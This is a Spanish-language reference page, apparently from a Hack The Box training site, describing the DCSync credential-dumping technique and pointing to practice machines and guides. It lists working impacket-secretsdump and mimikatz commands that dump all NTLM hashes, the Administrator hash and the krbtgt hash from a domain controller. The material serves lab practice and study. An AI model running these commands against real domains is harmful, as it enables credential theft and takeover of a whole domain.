DCSync
Subtécnica de T1003 Volcado de credenciales del sistema ↗
Pedir al controlador de dominio, como si fueras otro DC, los hashes de todos los usuarios.
Cómo aparece en Hack The Box
Necesitas los derechos de replicación (DS-Replication-Get-Changes-All): los tienen los administradores y, a veces, cuentas mal configuradas que BloodHound marca con DCSync.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Abuso de ACLs en Active Directory: GenericAll, WriteDacl, Shadow Credentials y DCSync 4 min de lectura Qué hacer con cada flecha de BloodHound: cambiar contraseñas, añadirte a grupos, Shadow Credentials, darte DCSync con WriteDacl y leer LAPS o gMSA.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Active Directory
DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlmActive Directory a fondo › Impacket
DCSync
Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user AdministratorMimikatz › Dominio
DCSync de krbtgt
Víctima
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"Ningún comando coincide.